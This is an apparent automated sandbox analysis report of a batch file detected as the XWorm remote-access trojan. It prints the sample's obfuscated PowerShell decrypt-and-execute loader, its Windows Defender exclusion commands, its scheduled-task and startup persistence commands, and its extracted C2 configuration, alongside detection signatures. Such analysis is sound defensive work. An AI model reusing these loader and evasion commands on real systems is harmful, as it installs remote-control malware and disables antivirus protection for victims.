Edit tour
Windows
Analysis Report
startup_str_466.bat
Overview
General Information
Detection
XWorm
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
Yara detected Powershell decode and execute
Yara detected Powershell decrypt and execute
Yara detected XWorm
.NET source code contains a sample name check
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Loading BitLocker PowerShell Module
Powershell drops PE file
Powershell is started from unusual location (likely to bypass HIPS)
Protects its processes via BreakOnTermination flag
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Reads the Security eventlog
Reads the System eventlog
Sample uses string decryption to hide its real strings
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Gzip Archive Decode Via PowerShell
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Powershell Defender Exclusion
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- cmd.exe (PID: 7280 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\start up_str_466 .bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7288 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7340 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noprofile -windowst yle hidden -ep bypas s -command function decrypt_fu nction($pa ram_var){ $aes_var=[ System.Sec urity.Cryp tography.A es]::Creat e(); $aes_ var.Mode=[ System.Sec urity.Cryp tography.C ipherMode] ::CBC; $ae s_var.Padd ing=[Syste m.Security .Cryptogra phy.Paddin gMode]::PK CS7; $aes_ var.Key=[S ystem.Conv ert]::('gn irtS46esaB morF'[-1.. -16] -join '')('ZQhx kXfKvYDHco gNKRW5YPx3 hZrh58mWNx 9RrajXNmA= '); $aes_v ar.IV=[Sys tem.Conver t]::('gnir tS46esaBmo rF'[-1..-1 6] -join ' ')('Y2K5EL OH/96mWkCY 8rovsg==') ; $decrypt or_var=$ae s_var.Crea teDecrypto r(); $retu rn_var=$de cryptor_va r.Transfor mFinalBloc k($param_v ar, 0, $pa ram_var.Le ngth); $de cryptor_va r.Dispose( ); $aes_va r.Dispose( ); $return _var;}func tion decom press_func tion($para m_var){ $G qTYR=New-O bject Syst em.IO.Memo ryStream(, $param_var ); $hYvQx= New-Object System.IO .MemoryStr eam; $QmyL f=New-Obje ct System. IO.Compres sion.GZipS tream($GqT YR, [IO.Co mpression. Compressio nMode]::De compress); $QmyLf.Co pyTo($hYvQ x); $QmyLf .Dispose() ; $GqTYR.D ispose(); $hYvQx.Dis pose(); $h YvQx.ToArr ay();}func tion execu te_functio n($param_v ar,$param2 _var){ $Iw CxB=[Syste m.Reflecti on.Assembl y]::('daoL '[-1..-4] -join '')( [byte[]]$p aram_var); $rUbak=$I wCxB.Entry Point; $rU bak.Invoke ($null, $p aram2_var) ;}$host.UI .RawUI.Win dowTitle = 'C:\Users \user\Desk top\startu p_str_466. bat';$AEDn q=[System. IO.File]:: ('txeTllAd aeR'[-1..- 11] -join '')('C:\Us ers\user\D esktop\sta rtup_str_4 66.bat').S plit([Envi ronment]:: NewLine);f oreach ($c Caqv in $A EDnq) { if ($cCaqv.S tartsWith( ':: ')) { $Drdpt=$cC aqv.Substr ing(3); br eak; }}$pa yloads_var =[string[] ]$Drdpt.Sp lit('\');$ payload1_v ar=decompr ess_functi on (decryp t_function ([Convert ]::('gnirt S46esaBmor F'[-1..-16 ] -join '' )($payload s_var[0])) );$payload 2_var=deco mpress_fun ction (dec rypt_funct ion ([Conv ert]::('gn irtS46esaB morF'[-1.. -16] -join '')($payl oads_var[1 ])));execu te_functio n $payload 1_var $nul l;execute_ function $ payload2_v ar (,[stri ng[]] ('') ); MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7476 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" Register-S cheduledTa sk -TaskNa me 'Runtim eBroker_st artup_533_ str' -Trig ger (New-S cheduledTa skTrigger -AtLogon) -Action (N ew-Schedul edTaskActi on -Execut e 'C:\User s\user\App Data\Roami ng\startup _str_533.v bs') -Sett ings (New- ScheduledT askSetting sSet -Allo wStartIfOn Batteries -Hidden -E xecutionTi meLimit 0) -RunLevel Highest - Force MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7484 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - wscript.exe (PID: 7720 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\start up_str_533 .vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 7776 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Roami ng\startup _str_533.b at" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7784 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7828 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noprofile -windowst yle hidden -ep bypas s -command function decrypt_fu nction($pa ram_var){ $aes_var=[ System.Sec urity.Cryp tography.A es]::Creat e(); $aes_ var.Mode=[ System.Sec urity.Cryp tography.C ipherMode] ::CBC; $ae s_var.Padd ing=[Syste m.Security .Cryptogra phy.Paddin gMode]::PK CS7; $aes_ var.Key=[S ystem.Conv ert]::('gn irtS46esaB morF'[-1.. -16] -join '')('ZQhx kXfKvYDHco gNKRW5YPx3 hZrh58mWNx 9RrajXNmA= '); $aes_v ar.IV=[Sys tem.Conver t]::('gnir tS46esaBmo rF'[-1..-1 6] -join ' ')('Y2K5EL OH/96mWkCY 8rovsg==') ; $decrypt or_var=$ae s_var.Crea teDecrypto r(); $retu rn_var=$de cryptor_va r.Transfor mFinalBloc k($param_v ar, 0, $pa ram_var.Le ngth); $de cryptor_va r.Dispose( ); $aes_va r.Dispose( ); $return _var;}func tion decom press_func tion($para m_var){ $G qTYR=New-O bject Syst em.IO.Memo ryStream(, $param_var ); $hYvQx= New-Object System.IO .MemoryStr eam; $QmyL f=New-Obje ct System. IO.Compres sion.GZipS tream($GqT YR, [IO.Co mpression. Compressio nMode]::De compress); $QmyLf.Co pyTo($hYvQ x); $QmyLf .Dispose() ; $GqTYR.D ispose(); $hYvQx.Dis pose(); $h YvQx.ToArr ay();}func tion execu te_functio n($param_v ar,$param2 _var){ $Iw CxB=[Syste m.Reflecti on.Assembl y]::('daoL '[-1..-4] -join '')( [byte[]]$p aram_var); $rUbak=$I wCxB.Entry Point; $rU bak.Invoke ($null, $p aram2_var) ;}$host.UI .RawUI.Win dowTitle = 'C:\Users \user\AppD ata\Roamin g\startup_ str_533.ba t';$AEDnq= [System.IO .File]::(' txeTllAdae R'[-1..-11 ] -join '' )('C:\User s\user\App Data\Roami ng\startup _str_533.b at').Split ([Environm ent]::NewL ine);forea ch ($cCaqv in $AEDnq ) { if ($c Caqv.Start sWith(':: ')) { $Drd pt=$cCaqv. Substring( 3); break; }}$payloa ds_var=[st ring[]]$Dr dpt.Split( '\');$payl oad1_var=d ecompress_ function ( decrypt_fu nction ([C onvert]::( 'gnirtS46e saBmorF'[- 1..-16] -j oin '')($p ayloads_va r[0])));$p ayload2_va r=decompre ss_functio n (decrypt _function ([Convert] ::('gnirtS 46esaBmorF '[-1..-16] -join '') ($payloads _var[1]))) ;execute_f unction $p ayload1_va r $null;ex ecute_func tion $payl oad2_var ( ,[string[] ] ('')); MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 8040 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass Add-Mp Preference -Exclusio nPath 'C:\ Windows\Sy stem32\Win dowsPowerS hell\v1.0\ powershell .exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 8048 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6816 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass Add-Mp Preference -Exclusio nProcess ' powershell .exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 6576 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7516 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass Add-Mp Preference -Exclusio nPath 'C:\ Users\user \AppData\R oaming\Mic rosoft Edg e.exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7480 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7948 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Execution Policy Byp ass Add-Mp Preference -Exclusio nProcess ' Microsoft Edge.exe' MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 2028 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - schtasks.exe (PID: 3912 cmdline:
"C:\Window s\System32 \schtasks. exe" /crea te /f /RL HIGHEST /s c minute / mo 1 /tn " Microsoft Edge" /tr "C:\Users\ user\AppDa ta\Roaming \Microsoft Edge.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2) - conhost.exe (PID: 7380 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- wscript.exe (PID: 7640 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\App Data\Roami ng\startup _str_533.v bs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
- Microsoft Edge.exe (PID: 7324 cmdline:
"C:\Users\ user\AppDa ta\Roaming \Microsoft Edge.exe" MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7200 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
XWorm | Malware with wide range of capabilities ranging from RAT to ransomware. | No Attribution |
{"C2 url": ["product-hack.gl.at.ply.gg"], "Port": 50751, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
Click to see the 3 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
rat_win_xworm_v3 | Finds XWorm (version XClient, v3) samples based on characteristic strings | Sekoia.io |
| |
MALWARE_Win_AsyncRAT | Detects AsyncRAT | ditekSHen |
| |
JoeSecurity_XWorm | Yara detected XWorm | Joe Security | ||
rat_win_xworm_v3 | Finds XWorm (version XClient, v3) samples based on characteristic strings | Sekoia.io |
| |
Click to see the 26 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecryptAndExecute | Yara detected Powershell decrypt and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
JoeSecurity_PowershellDecryptAndExecute | Yara detected Powershell decrypt and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
---|
Source: | Author: Thomas Patzke: |